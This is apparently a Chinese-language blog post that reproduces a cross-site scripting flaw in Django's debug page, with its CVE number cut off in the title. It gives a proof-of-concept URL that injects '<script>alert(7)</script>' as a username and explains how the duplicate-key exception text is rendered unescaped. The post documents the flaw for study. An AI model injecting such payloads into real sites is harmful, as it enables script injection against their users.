欢迎光临
我们一直在努力

Django debug page XSS漏洞(CVE-20

漏洞复现:
1.创建个用户:ip:8000/create_user/?username=<script>alert(7)</script>

显示用户已创建。
2.触发漏洞,再次访问ip:8000/create_user/?username=<script>alert(7)</script>

3.触发异常:duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(7)</script>) already exists.

4.这个异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最后触发XSS。

赞(0)
【声明】:本博客不参与任何交易,也非中介,仅记录个人感兴趣的主机测评结果和优惠活动,内容均不作直接、间接、法定、约定的保证。访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。